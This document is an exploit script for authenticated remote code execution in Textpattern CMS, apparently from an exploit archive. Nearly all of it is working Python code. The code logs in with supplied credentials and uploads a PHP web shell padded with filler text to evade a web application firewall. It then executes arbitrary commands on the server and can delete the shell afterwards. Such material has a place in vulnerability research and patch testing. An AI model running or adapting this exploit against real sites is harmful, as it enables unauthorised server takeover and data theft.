Textpattern CMS 4.8.3 Remote Code Execution

`# Exploit Title: Textpattern 4.8.3 - Remote code execution (Authenticated) (2)  
# Date: 03/03/2021  
# Exploit Author: Ricardo Ruiz (@ricardojoserf)  
# Vendor Homepage: https://textpattern.com/  
# Software Link: https://textpattern.com/start  
# Version: Previous to 4.8.3  
# Tested on: CentOS, textpattern 4.5.7 and 4.6.0  
# Install dependencies: pip3 install beautifulsoup4 argparse requests  
# Example: python3 exploit.py -t http://example.com/ -u USER -p PASSWORD -c "whoami" -d  
  
import sys  
import argparse  
import requests  
from bs4 import BeautifulSoup  
  
  
def get_args():  
parser = argparse.ArgumentParser()  
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')  
parser.add_argument('-u', '--user', required=True, action='store', help='Username')  
parser.add_argument('-p', '--password', required=True, action='store', help='Password')  
parser.add_argument('-c', '--command', required=False, default="whoami", action='store', help='Command to execute')  
parser.add_argument('-f', '--filename', required=False, default="testing.php", action='store', help='PHP File Name to upload')  
parser.add_argument('-d', '--delete', required=False, default=False, action='store_true', help='Delete PHP file after executing command')  
my_args = parser.parse_args()  
return my_args  
  
  
def get_file_id(s, files_url, file_name):  
r = s.get(files_url, verify=False)  
soup = BeautifulSoup(r.text, "html.parser")  
for a in soup.findAll('a'):  
if "file_download/" in a['href']:  
file_id_name = a['href'].split('file_download/')[1].split("/")  
if file_id_name[1] == file_name:  
file_id = file_id_name[0]  
return file_id  
  
  
def login(login_url, user, password):  
s = requests.Session()  
s.get(login_url, verify=False)  
data = {"p_userid":user, "p_password":password, "_txp_token":""}  
r = s.post(login_url, data=data, verify=False)  
if str(r.status_code) == "401":  
print("[+] Invalid credentials")  
sys.exit(0)  
_txp_token = ""  
soup = BeautifulSoup(r.text, "html.parser")  
fields = soup.findAll('input')  
for f in fields:  
if (f['name'] == "_txp_token"):  
_txp_token = f['value']  
return s,_txp_token  
  
  
def upload(s, login_url, _txp_token, file_name):  
php_payload = '<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n'*1000 # to avoid WAF problems  
php_payload += '<?php $test = shell_exec($_REQUEST[\'cmd\']); echo $test; ?>'  
s.post(login_url, files=(("MAX_FILE_SIZE", (None, "2000000")), ("event", (None, "file")), ("step", (None, "file_insert")), ("id", (None, "")), ("sort", (None, "")), ("dir", (None, "")), ("page", (None, "")), ("search_method", (None, "")), ("crit", (None, "")), ("thefile",(file_name, php_payload, 'application/octet-stream')), ("_txp_token", (None, _txp_token)),), verify=False)   
  
  
def exec_cmd(s, cmd_url, command):  
r = s.get(cmd_url+command, verify=False)  
response = r.text.replace("<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n","")  
return response  
  
  
def delete_file(s, login_url, file_id, _txp_token):  
data = {"selected[]":file_id,"edit_method":"delete","event":"file","step":"file_multi_edit","page":"1","sort":"filename","dir":"asc","_txp_token":_txp_token}  
s.post(login_url, data=data, verify=False)  
  
  
def main():  
args = get_args()  
url = args.target  
user = args.user  
password = args.password  
file_name = args.filename  
command = args.command  
delete_after_execute = args.delete  
  
login_url = url + "/textpattern/index.php"  
upload_url = url + "/textpattern/index.php"  
cmd_url = url + "/files/" + file_name + "?cmd="  
files_url = url + "/textpattern/index.php?event=file"  
  
s,_txp_token = login(login_url, user, password)  
print("[+] Logged in")  
upload(s, login_url, _txp_token, file_name)  
file_id = get_file_id(s, files_url, file_name)  
print("[+] File uploaded with id %s"%(file_id))  
response = exec_cmd(s, cmd_url, command)  
print("[+] Command output \n%s"%(response))  
  
if delete_after_execute:  
print("[+] Deleting uploaded file %s with id %s" %(file_name, file_id))  
delete_file(s, login_url, file_id, _txp_token)  
else:  
print("[+] File not deleted. Url: %s"%(url + "/files/" + file_name))  
  
  
if __name__ == "__main__":  
main()  
  
`